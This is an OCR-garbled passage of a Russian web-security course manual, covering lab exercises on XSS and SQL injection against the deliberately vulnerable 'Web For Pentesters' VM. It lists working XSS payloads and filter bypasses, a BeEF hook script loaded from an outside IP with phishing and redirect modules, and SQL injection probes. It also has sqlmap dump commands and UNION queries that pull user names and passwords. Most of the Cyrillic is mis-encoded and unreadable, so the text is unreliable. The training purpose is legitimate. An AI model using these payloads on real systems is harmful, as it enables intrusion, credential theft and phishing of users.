JIOKA3aTeNbCTBA YSA3BUMOCTH TPWIOKEHUS K aTake XSS MPUHITO JEMOHCTPUPOBATH BO3MOXKHOCTH
BhITIOTHEHUS JavaScript-koaa Buma alert(1), prompt(/XSS/), confirm(0) u T.11.

[Ipu TecTupoBaHWM HAIMYHUS YSI3BUMOCTH K aTakaM XSS BaXKHO OMPEENSITh KOHTEKCT, B KOTOPHIN
BBIBOAATCA naHHble. CymectByroT cieayromue Buabl koHtekctoB: HTML, SCRIPT, STYLE, URL u

aT- puOyTHbIH [16]. Huke npuseaens! npuMepsl XSS-BEKTOPOB Ui KaXK- J0T0 U3 KOHTEKCTOB!

<h1>Hello,<img/src=1 onerror=prompt(0)></h1>

<script>var name=";alert(1);";</script>

<ahref="javascript:alert&Ilpar;1rpar;">ClickMe</a>

<div class=""onmouseover="alert(1);">...</div>

<div syle="width:expre/**/ssion(alert(1))">...</div>

IlocaenoBaTeILHOCTE JeHCTBUM
[lar 1. Ckauatp o00Opa3 «WebForPentesters» ¢ Beb-caiita Www.pentesterlab.com. Cosnats
BUPTYaJIbHYIO MAIlIMHY. 3arpy3uThes ¢ Aucka. B Opay3epe OTKpBITh BEO-TIPUIIOKEHUE.
ar 2. [1epeiitu o cepuike «XSS — Example 1». [IpoananusupoBats 10ruky GyHKIIMOHUPOBAHUS
BeO-npuinoxkeHus. OrmnpeneanuTb KOHTEKCT BO3MOXHOW araku XSS. B kadecTBe mNepeMeHHOM
NnameBBECTHU BEKTOP

<script>alert(1)</script>

[lar 3. [Mepeiitunocceuike «XSS — Example 2. [IpoaHann3upoBath JOrHKY (HYHKIMOHUPOBAHUS
BeO-punioxkeHns. OmnpenenuTs KOHTEKCT BO3MOXKHOH araku XSS. B kauecTBe mnepeMeHHON

NameBBECTHU BEKTOP
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<script>alert(1)</script>

Yoeautncs, 4TO CIOBO ScriptgunbTpyercs. BBectuBexTop

<ScRipT>alert(1)</sCrlpT>

Hlar 4. Iepetitu o ccbuike «XSS — Example 3». [Ipoananu3upoBaTh JOTUKY (QyHKIIHOHUPOBAHUS
BeO-nprioxkeHus. OmnpeneanuTh KOHTEKCT BO3MOXHOW araku XSS. B kadecTBe NepeMEHHOM
NnameBBECTHU BEKTOP

<script>alert(1)</script>

Yb6enuThces, 4TO COBO <script>BbIpe3aeTcs. BBecTuBekTOp

<scr<script>ipt>alert(1)</s</script>cript>

Hlar 5. [Nepeiitu o cepuike «XSS — Example 4». IIpoananu3upoBats J0TuKy GyHKIIMOHUPOBAHUS
BeO-ipmwiiokeHus. OmnpeaenuTh KOHTEKCT BO3MOXKHOW aTtaku XSS. B  kadectBe mnepeMeHHOU
NameBBECTH BEKTOP

<script>alert(1)</script>

Yoeauthcesi, 9TO CIOBO <SCript> BhIpe3aeTcsi KOPPEKTHO. BBeCTHBEKTOD

<img/src=1 onerror=alert(1)>
[ar 6. ITepeiitn mo ccbuike «XSS — Example 5». [Ipoananu3upoBath JOTUKY GYHKIIMOHUPOBAHUS
BeO-nipmwitokeHus. OnpeaenuTb KOHTEKCT BO3MOXKHOM aTaku XSS. B kadecTBe mnepeMeHHOM

nameBBECTHU BEKTOpPaA

<script>alert(1)</script>

<img/src=1 onerror=alert(1)>

Y6enuthcs, uTo cnoBo alert BeIpe3aeTcsi KOppekTHO. BBecTuBekTOpa

<img/src=1 onerror=\u0061alert(1)>
<img/src=1 onerror=prompt(1)>

<imgsrc=1 onerror="t=/aler/.source%2b/t(1)/.source; eval(t)">
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Hlar 7. lepeliti o ccpuike «XSS — Example 6». [Ipoananu3upoBaTh JOTUKY (QyHKIIMOHUPOBAHUS
BeO-npunoxkeHus. OmpeneanuTh KOHTEKCT BO3MOXHOW araku XSS. B kadecTBe mepeMEHHOM

nameBBECTU BEKTOpPA

".alert(1);"
</script><script>alert(1);//

lar 8. Ilepetitu mo ccbuike «XSS — Example 7». [Ipoananu3upoBath JIOTUKY (YHKIIMOHUPOBAHHS
BeO-npuioxeHus. OnpeaenuTh KOHTEKCT BO3MOXKHOM artaku XSS. B kauecTBe mepeMeHHOl name

BBCCTHU BECKTOP

"alert(1);"
Y6emutnbcs, uro cumBod " kogupyercs B HTML-cymaocTs &quot. B kauecTBe mepemeHHON name
BBECTH BEKTOP

halert(1);

Har 9. I1epeiitu 1o cepuike «XSS — Example 8». Ilpoananu3upoBats 10ruky GyHKIIMOHUPOBAHUS
BeO-mipritoxkeHus1. OnpenenuTh KOHTEKCT BO3MOXKHOM aTtaku XSS. BBomumble JaHHBIE KOIUPYIOTCS
koppekTHO. M3menuts URL Ha cnepyroniuii:

xss/example8.php/“onsubmit="alert(1)

[ar 10. TIlepetitu mo ccbuike «XSS — Example 9». IIpoaHanmm3upoBaTth JIOTHKY
(GyHKIMOHUPOBaHUS BeO-TipmiioeHus. OmnpeaenuTh KOHTEKCT W THI BO3MOXKHOM arakum XSS. B
Opay3epe MepenTH Mo CChlIKe

xss/example9.php#<script>alert(1)</script>.
Y6enuthces, uro nukakoro HTTP-3anpoca He oTnpasisercs.
Hlar 11. 3anycrtute cpeny skcmryaranuu yszsumoctedl BeEF. Ilepeiitn mo cceuike «XSS —

Example 1». B kauecTBe 3HAUCHUS napamMeTpa nameBBECTHU BEKTOP

<scriptsrc="http://1.1.1.1:3000/hook.js"></script>
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[lepeiitu B koHconmb BeEF, BBectm cranmaptHeie joruH u mapoib (beef:beef). B pasmene

«OnlineBrowser» pomkeH oToOpaxaThcs Bam Opayszep. Bo Bkmaake «Detailsy mpocMoTpersb

uHpopmanuio o Opayse- pe u kommbrorepe. llepeiitn Bo Bkiagky «Commandsy.

CJICOAYIOIIMC KOMAHbI U MMPOAHATIU3UPOBATD IMMOJTYYCHHBIC PC3YJIbTAThI:

«CreateAlertDialogy;

«Redirect Browser», mnepeHamnpaBuB mojib3oBarenas Ha cait http://evil.com;
«Clickjackingy;

«Clippy»;

«FakeNotificationBary;

«GooglePhishingy;

«PrettyTheft»

BOl'lpOCbl H 3alaHUA

1. BBINOIHUTE BCE 3a/1aHUS 110 TIOMCKY YSA3BUMOCTEN K aTakaMm XSS Ha calTeXSs-

game.appspot.com.

2. BBINOJHUTE HECKOJIBKO 3aJaHUM 110 TTOUCKY YA3BHUMOCTEH K aTta- kKaM XSS Ha

caiiteescape.alf.nu.

BrinmonHuTh

3. BhHINOTHUTH HECKOJBKO 3aJaHUM MO MOUCKY YA3BUMOCTEH K aTa- kam XSS Ha caiiteprompt.ml.

®opma npeacTaBiaeHus pe3yabTara:

[IpenocTaBUTh CKPUNT 3aAaHUN

Kpurepum oueHku:

Ormnenka "5" ctaBUTCS: BCs paboTa BBITTOJIHEHA 0€301ITMO0YHO M HET UCTIPABIICHUIA;

Ornenka "4" ctaBUTCS: JOMYIIEHBI 1-2 BBIYNCIUTEIBHBIC OIIHOKH.

Ornenka "3" cTaBUTCS: TOMYIIECHBI OMUOKH B XOJIE PEIICHHS 3a1a4H MPH MPABUJILHOM BBITIOJIHEHUN

BCCX OCTAJIbHBIX BaﬂaHI/Iﬁ HIIN JOIIYHICHBI 3-4 BBIYMCIIUTEIILHBIE OI_HI/I6KI/I, IIpu 5TOM XOJ aHaJiu3a

JOJIZKCH OBITE BCPHBIM.

Onenka "2" craBUTCS: [JOMyIICHbI OMMOKM B XOA€ pEIIEHUS 3aJadyd U XOTsS Obl ojHa

BBIYHCIINTENbHAS OIIMOKA HIU IIpyu aHalIu3c U HNpUMCEPOB HOIIYLICHO oosiee 5 BBIUHMCIUTENBHBIX

OILINOOK.
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MJIK 09.03 OBECIIEYEHHME BE30ITACHOCTU BEB-TTPUJIOXKEHMIA
Tema 3.1 Texnomorun obecneueHus: 0€30MaCHOCTH BEO — MPHUIIOKESHUN

JlaboparopHoe 3ansiTue Ne 4
«Ilouck ysi3BUMocTei k aTakam SQL-injectiony

Hean padoTsl
Lenpto maboparopHoil paboThl sBIsETCS OOyYeHHWE METOAaM W CPEJICTBAM WIACHTU(UKAIIMHA |

AKCIUTyaTaIliK YsI3BUMOCTEH B BeO- MPHIIOKEHHIX K atakam SQL-injection.

Boinosinus padorty, Bel Oyaere:
ymembv:

V35, ocymiecTBISTh ayJUT 0€30MacHOCTH BEO-TIPUIIOKEHUI;

Y01.2 ananu3upoBaTh 3aa4y W/ WK IPOOJIEMY U BBIJICIATH €€ COCTaBHBIC YaCTH;

¥02.4 cTpykTypHupoBaTh MOIy4aeMyt0 HH(OPMALHUIO;

VY03.2 npuMeHsITh COBPEMEHHYIO Hay4HYI0 MPOGECCHOHATbHYIO TEPMUHOJIOTHIO;

Y09.1 mpumensTh cpeacTBa HHPOPMAITMOHHBIX TEXHOJIOTHHN I peIieHus TPoPeCCHOHATBHBIX
3a/1a4;

¥ 09.2 ucnonp30BaTh COBPEMEHHOE MPOTPAMMHOE 00ecIIeueHuE;

MarepuajibHoe o0ecnieyeHue:

[TK,TexcToBbIil penaktop biokHOT,O0pay3ep

3aganue:

BbInonHuTh HaeHTH(GHUKALINIO U SKCIUTyaTalluio yI3BUMOCTeH K atakam SQL-injection.

Kpartkue Teoperuyeckue cBeieHUs

ATtaka BHenpenus omeparopoB SQL (SQL-injection) — 3to BHeIApeHHWE BO BXOJHBbIC JAHHBIC,
oOpabaTbiBaeMble BEO-TIPUIIOKEHHEM, OTIepaTopoB si3bika SQL.

Heob6xoaumeiM ycitoBreM ysI3BUMOCTH K atake SQL-injection siisieTcss HemocTaTodHas oopaboTka
BXOJIHBIX HEJIOBEPEHHBIX JaHHBIX MpU (HOPMUPOBAHUU BeO-ipuioxkeHueM SQL-3ampocoB, 3aBUCAIINX
oT »TuX AaHHbIX. Ataka SQL-injection MO3BOJSET 3JI0YMBIIUICHHUKY IMOJYYUTh HEMOCPEICTBEHHBIM
JOCTYH K AaHHBIM uepe3 MexaHu3Mbl CYBJ] B 00X0/1 TOTMKH BEO-TIPUIIOKEHUS.

B 3aBucumocTtu ot ucnonszyemoil BeO-npuiokeHneM CYBJl u ycnoBuil BHEIPEHUS BBIIEISIOT
crenyromre pasHoBuaHoCcTH atak SQL-injection [17]:

— KJIacCU4YecKas;

— «caemnas» tanaboolean-based:
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— «cuenas» tTunatime-based:;

error-based;
— BJIOKCHHAA;
— (parMeHTHpOBaHHAsL.
PaccmotpuM  mpuMepsl 0a30BBIX TECTOB, OOHAPY)KMBAIOUIMX YSA3BHMOCTBH apamerpa id x
arakeSQL-injection:
— http://www.test.app.com/index?id=1"
— http://www.test.app.com/index?id=1"
— http://www.test.app.com/index?id=1" order by1000
— http://www.test.app.com/index?id=1"--
— http://www.test.app.com/index?id=1'/*
— http://www.test.app.com/index?id=1"#
— http://www.test.app.com/index?id=1 and1=1--
— http://www.test.app.com/index?id=1 and1=2—
— http://www.test.app.com/index?id=1" and'1'="1
— http://www.test.app.com/index?id=1" and'1'="2

ITocTanoBKa 3axauu

IMocaenoBaTe/IbHOCTD AeHCTBHI

[lar 1. Ckauath 00pa3 «WebForPentestersy ¢ BeO-caiita www.pentesterlab.com. Co3nats
BUPTYaIbHYIO MAaIIMHY. 3arpy3uThes ¢ aucka. B Opay3epe OTKphITh BeO-TIPUIIOKEHHE.

Mlar 2. Ilepeiitumocceuike «SQLinjections — Example 1». IIpoaHamu3upoBaTh JIOTHKY
¢byHKIMOHUpOBaHUs BeO-mipuinoxkeHus. [lociemoBarebHO BBECTH CIEAYIONIME 3ampoChl, oOpamas
BHUMaHUE Ha BBIBOJ BEO-TIPHIIOKEHUS, CACIATh MPEANOI0KEHHE O CTPYKTYype HCIoab3yeMoroSQL-
3arpoca:

— sgli/examplel.php?name=root’
— sgli/examplel.php?name=root"
— sgli/examplel.php?name=root'%201=1
— sgli/examplel.php?name=root'%201=1#
— sgli/examplel.php?name=root'%201=1%20—
— sgli/examplel.php?name=root'%201=1%20/*
— sgli/examplel.php?name=root'%20'1'="1
— sqli/examplel.php?name=root'%20'1'="2
— sqli/examplel.php?name=root'%23sqli
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[Tocnemnue TpH 3ampoca MO3BOJISIOT CHENATh BBIBOA 00 YsA3BMMOCTH Hapamerpa nhame k arake SQL-
injection. BBIMONHUTE ClIEAYIONIYIO KO- MaHTY:

# pythonsglmap.py —pname —dmbs=mysql —dump

—Uu http://IP_address/sqli/examplel.php?name=root

[TpocMoTpeTs pe3ynbTaTel paboThl IPOTPAMMBIL, IPOCMOTPETH IOJTy- YCHHBIC JaHHBIC U3 0a3bl TaHHBIX.
Hlar 2. Ilepeiitu mo cceuike «SQL injections — Example 2». Ilpoananm3upoBarh JOTHKY

¢dbyHKIHOHMpOBaHUs BeO-puiiokeHus. [locimenoBaTrenbHO BBECTH CIEAYIOUINE 3alpochl, oOparias

BHUMAaHHE Ha BBIBOJ| BEO-TIPHIIOKEHUS, CAENATh MPEANOIOKEHHE O CTPYKType Hcmonb3yemMoroSQL-

3arpoca:

— sqli/example2.php?name=root%20and%201=1

— sqli/example2.php?name=root'%09and%09'1'="1

sgli/fexample2.php?name=root'%09and%09'1'="2

sqli/example2.php?name=root'%2b%2b'
[Tocnemnue Tpu 3ampoca MO3BOJISIOT CHENATh BBIBOA 00 YsA3BHMOCTH Hapamerpa name k arake SQL-
injection. 3amyctuth sqlmap, yOenuThb- cs, YTO B JIaHHOM ClIy4ae OH HE CMOT WICHTHU(PHUIHMPOBATH
YSA3BUMBIN TapameTp.

[ar 3. Tlepetitu mo cceuike «SQL injections — Example 3». Ilpoananu3upoBaTh JOTHKY
(GyHKIMOHMpOBaHUs BeO-mpuiiokeHus. [locinenoBarenbHO BBECTH CIEAYIOLIME 3allpoChl, oOparas
BHUMAaHHME Ha BbIBOJ| BEO-NIPHIIOKEHUS, CAENATh MPEAINOI0KEHUE O CTPYKType ucnonb3yemoroSQL-

3arpoca:

sgli/example3.php?name=root%20and%201=1

— sqli/example3.php?name=root’/**/and/**/'1'="1

sgli/fexample3.php?name=root'/**/and/**/'1'="2

sgli/example3.php?name=root'%2b%?2b'
[Tocneanue Tpu 3ampoca MO3BOJSIOT CAENaTh BBIBOJ 00 YysA3BHUMOCTH IapaMeTpa name K atake SQL-
injection. 3amycTuth sqlmap, yoenuTh- cs, 4TO B JAaHHOM CJIy4yae OH HE CMOXKET UIACHTH(PHUIMPOBATDH
ySI3BUMBII apaMerp.

lar 4. Ilepeiitn mo ccbuike «SQL injections — Example 4». [Ipoananu3upoBaTh JIOTHUKY
¢dbyHKIIMOHUpOoBaHUs BeO-mpuioxkeHus. [locienoBarensHO BBECTH CIEAYIONIME 3alpochl, oOparias
BHMMAaHHE Ha BBIBOJ BEO-TIPUIIOKEHUS, CIENaTh MPEANOIOKEHUE O CTPYKTYpe Hcmonb3yemMoroSQL-
3amnpoca:
— sqli/exampled.php?id=2
— sqli/example4.php?id=2"'
— sqli/example4.php?id=2"
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— sqgli/fexample4.php?id=1%2b1
— sqgli/fexample4.php?id=0%2b2
— sqgli/fexample4.php?id=3-1
[Tocnennue Tpu 3ampoca MO3BOJIAIOT CAENaTh BBIBOJA 00 ys3BHUMOCTH mapamerpa id k arake SQL-

injection. BBIMONHUTE ClIeAYONIYI0 KOMaH/TY:

# python sqlmap.py —p id —dmbs=mysqgl —dump
—u http://1P_address/sqli/example4.php?id=1
[IpocMoTpeTs nosryueHHble JaHHbIE U3 0a3bl JaHHbIX. [IpocMoTpeTs ncxonnblil konPHP-cuenapus.
Hlar 5. Ilepeiitn mo ccwiike «SQL injections — Example 5». IIpoananusupoBaTh JOTHKY
¢byHKIIMOHUpOBaHUS BeO-npuioxkeHus. llocnenoBarenbHO BBECTH CIEAYIONIME 3allpochl, oOparas
BHMMAHHE Ha BBIBOJ BEO-TIPUIIOKEHUS, CIENaTh MPEANOI0KEHUE O CTPYKType Hcronb3yeMoroSQL-
3arpoca:
— sqgli/fexample5.php?id=2
— sqgli/fexample5.php?id=2"'
— sqgli/fexample5.php?id=2"
— sqgli/fexample5.php?id=1%2bl
— sqli/example5.php?id=0%2b2
— sqli/example5.php?id=3-1
[Tocnennue Tpu 3ampoca MO3BOJISIOT CAENaTh BBIBOJA 00 ys3BUMOCTH mapamerpa id k atake SQL-

injection. BeIMOTHUTE CiieMyIoNTyr0 KOMaHIy:

# python sqlmap.py —p id —dmbs=mysgl —dump
—Uu http://IP_address/sqli/example5.php?id=1

[IpocMoTpeTs nonmyueHHbIe JaHHbIE U3 06a3bl JaHHBIX. [IpocMoTpeTs ucxonusiii kog PHP-cuienapus.
Mar 6. Ilepeiitu mo cceuike «SQL injections — Example 5». IIpoananu3upoBath JIOTHKY
(YHKIIMOHUPOBAHUS BEO-TIPUIIOKEHHUS.
[TocnenoBarenbHO BBECTH CIEMYIOIIME 3allpoOChl, oOpallas BHMMAaHHUE Ha BBIBOJ BEO-TIPHIIOKEHUS,
ceaTh MPEANOI0KEHUE O CTPYKTYpe uctonbzyemoroSQL-3anpoca:
— sqli/example6.php?id=2
— sqli/example6.php?id=2'
— sgli/example6.php?id=2"
— sqli/example6.php?id=1%2b1l
— sqli/example6.php?id=0%2b2
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— sqgli/fexample6.php?id=3-1
— sqgli/fexample6.php?id=5-3

[Tocnennue Tpu 3ampoca MO3BOJIAIOT CAENaTh BBIBOJA 00 ys3BHUMOCTH mapamerpa id k arake SQL-
injection. 3amycTuth sqlmap, yOequTbcs, 4TO B JAaHHOM CIy4ae OH HE MOXET MPOAIKCILTyaTHPOBAThH
ys3BUMBIN napameTtp. [Ipocmorpers ncxonusiit kox PHP-cuenapusi.

Hlar 7. Ilepeiitu mo ccbuike «SQL injections — Example 5». Ilpoananu3upoBarth JIOTHKY
¢byHKIMOHNpOBaHUs BeO-puioxkeHus. IlocienoBaTtensHO BBECTH CIEAYIOUIME 3alpochl, oOparas
BHMMAaHHE Ha BBIBOJ| BEO-TIPHIIOKEHUS, CAENATh MPEANOIOKEHHE O CTPYKType Hcmosb3yemMoroSQL-
3arpoca:

— sqgli/fexample?7.php?id=2

sqli/example7.php?id=2'
— sqgli/fexample7.php?id=2"
— sqgli/fexample7.php?id=1%2bl
— sqgli/fexample7.php?id=3-1
— sqgli/fexample?7.php?id=2%0Aand%201=1
— sqgli/fexample?7.php?id=2%0Aand%201=2
— sqgli/fexample?7.php?id=2%0A%23sqli
[Tocnennue Tpu 3ampoca MO3BOJISIOT CAENATh BBIBOJA 00 ys3BUMOCTH mapamerpa id k atake SQL-
injection. 3anycTuTh sqlmap, yOeauThCs, YTO B JTaHHOM CJIydae OH HE MOXXET MPOIKCILTyaTHPOBATh
YA3BUMBIN TapaMeTp. BeIMOIHUTE ceAayronme 3anpochl s u3BiaeueHus nanHbiX u3 CYB/:
— sqli/example7.php?id=2%0Aunion%?20select%201
— sqli/example7.php?id=2%0Aunion%?20select%201,2
— sqli/example7.php?id=2%0Aunion%?20select%201,2,3
— sqli/example7.php?id=2%0Aunion%?20select%201,2,3,4
— sqli/example7.php?id=2%0Aunion%20select%201,2,3,4, 5
— sqli/example7.php?id=2%0Aunion%20select%20name, passwd,1,1,1 from users
Py‘{HLIMI/I MCTOAAMHU IIOJYYUTb HAHHBIC U3 0asbl JAaHHBbIX.

IIpocmoTtpets ucxoausiii ko PHP-cuienapus.

Bonpocsl u 3a1anus

1. C momoripio mporpaMmbl sqlmap uaeHTHGUIMPOBaTh ysI3BUMBIA K artake SQL-injection
napameTp W mnomydyuth coaepxkumoe CYBJl B cmyuae, korja BeO-IPUIIOKEHHE 3allperiaeT
MCIOJIb30BaHKE TTPOOETIOB BO BXOIHBIX JAHHBIX.

2. Iloctpouts u BeMOIHUTH SQL-3ampoc, mpuBOAAIMA K OTKa3zy B OOCIy)XMBaHHH BeO-

NPUIIOKEHHs, Ys3BUMOro k atakeSQL-injection.
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3. Jlns BeO-npuiokeHus, ysa3BUMOTo K atake SQL-injection 1 ¥c- MOIB3YIOMIETo A XPaHSHUS
TAHHBIX CYBI MySQL, MOJTYYHTh co- Jep)KUMOe CITy>KeOHOM 6a3b1

naHHBIXINFORMATION SCHEMA.

®opMma npeacraBieHUs pe3yJibTara:
IIpenocTraBuTh CKpUIIT 3alaHAN

Kpurepuu onenkn:

Onenka "5" ctaBuTcs: Bca paboTa BbIOJHEHA 0€301IMO00UHO U HET UCTIPaBJICHMUIA;
Onenka "4" ctaBUTCS: JOMYIIEHB! 1-2 BEIYUCIUTENbHBIE OIIUOKH.

Onenka "3" craBuTCS: MOMyIIEHbl OLIMOKM B XOJE€ pEHIeHMs 3aJayd NpU MPaBUILHOM
BBITIOJTHEHUH BCEX OCTAJBHBIX 3aJIaHUH WM JIOMYIIEHB! 3-4 BBIYMCIUTEIBHBIC OIIMOKH, IPH STOM

XO/JI aHaJIu3a JOJKEH OBbITh BEPHBIM.

Omenka "2" cTaBUTCA: JOMyIIEHBI OMMOKM B XOJIe PEIICHUs 3aJa4yl M XOTA OBl OJlHA
BBIYUCIIUTENIbHAS OMUOKA WIM TPH aHAIW3€ U TMPUMEPOB JOMYIICHO 00Jiee 5 BBIYUCITUTEIIBHBIX

OIITOOK.



	1 ПОЯСНИТЕЛЬНАЯ ЗАПИСКА
	2ПЕРЕЧЕНЬ ПРАКТИЧЕСКИХ ЗАНЯТИЙ
	3 МЕТОДИЧЕСКИЕ УКАЗАНИЯ
	Практическое занятие № 1 «Сбор информации о web-приложении»
	Цель работы
	Краткие теоретические сведения
	Вопросы и задания

	Лабораторное занятие № 1 «Тестирование защищенности механизма управления доступом и сессиями»
	Цель работы
	Краткие теоретические сведения
	Последовательность действий
	Вопросы и задания
	Последовательность действий
	Вопросы и задания

	Лабораторное занятие № 2 «Тестирование на устойчивость к атакам отказа в обслуживании»
	Цель работы
	Краткие теоретические сведения
	Последовательность действий
	Вопросы и задания

	Лабораторное занятие № 3 «Поиск уязвимостей к атакам XSS»
	Цель работы
	Краткие теоретические сведения
	Последовательность действий
	Вопросы и задания

	Лабораторное занятие № 4 «Поиск уязвимостей к атакам SQL-injection»
	Цель работы
	Краткие теоретические сведения
	Постановка задачи
	Последовательность действий
	Вопросы и задания


